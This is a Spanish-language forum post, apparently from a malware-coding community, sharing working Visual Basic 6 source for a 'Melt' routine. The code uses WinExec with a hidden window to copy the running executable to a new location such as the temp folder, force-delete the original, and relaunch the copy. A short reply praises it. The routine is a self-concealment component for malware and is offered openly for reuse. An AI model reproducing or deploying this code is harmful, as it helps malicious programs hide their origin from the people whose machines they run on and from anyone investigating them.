Buenas, hace tiempo que se me ocurrio este code al ver el api WinExec... pero nunca lo desarrolle... y bueno, me dio hoy por hacerlo...
Simplente es una alternativa a crear un Bat en el disco, lo hace todo 'on the fly' :laugh:
Option Explicit
Private Declare Function WinExec Lib "kernel32.dll" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32.dll" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
'---------------------------------------------------------------------------------------
' Procedimiento : AlterMelt
' Autor : Karcrack
' Fecha : 27/01/2009
' Parametro(s) :
' sNewPath [in] -> La nueva ruta para el fichero al que se le aplicara el Melt
' sPath [in,optional] -> La ruta del fichero al que se le aplicara el Melt.
' Si es NULL se aplicara a la aplicacion propia (=
' dMs [in,optional] -> Es el tiempo en segundos de espera entre la copia
' y la eliminacion del fichero. Por defecto 1 seg.
'
' Return : Devuelve True si la ejecucion del comando ha sido satisfactoria.
'---------------------------------------------------------------------------------------
Public Function AlterMelt(ByVal sNewPath As String, Optional ByVal sPath As String, Optional ByVal dSec As Double = 2) As Boolean
Dim sCmd As String
If (sPath = vbNullString) Then
If (App.LogMode = 0) Then Exit Function 'No queremos aplicar Melt a nuestro VS xD
sPath = Space$(260) 'MAX_PATH = 260
sPath = Left$(sPath, GetModuleFileName(0&, sPath, Len(sPath)))
End If
sCmd = "CMD /D /C " & "copy " & Chr$(34) & sPath & Chr$(34) & " " & Chr$(34) & sNewPath & Chr$(34) & " & " & _
IIf((dSec > 0), "ping 0.0.0.0 -n " & dSec & " & ", vbNullString) & _
"del /F /Q " & Chr$(34) & sPath & Chr$(34) & " & " & _
Chr$(34) & sNewPath & Chr$(34) & " & " & _
"exit"
AlterMelt = (WinExec(sCmd, 0&) > 31) 'SW_HIDE As Long = 0
End Function
Creo que todo el mundo sabe lo que es el Melt no? :huh: :xD
Esta seria la forma de usarlo:
Call AlterMelt(Environ$("TMP") & App.EXEName & ".exe", vbNullString, 5)
End
Saludos, espero que os sea de utilidad ;D
no sabia de la existencia de esa api...
esta curiosoo!
yo usaba el tipo bat para realizar operaciones externas y confundir al jefe.
Saludos!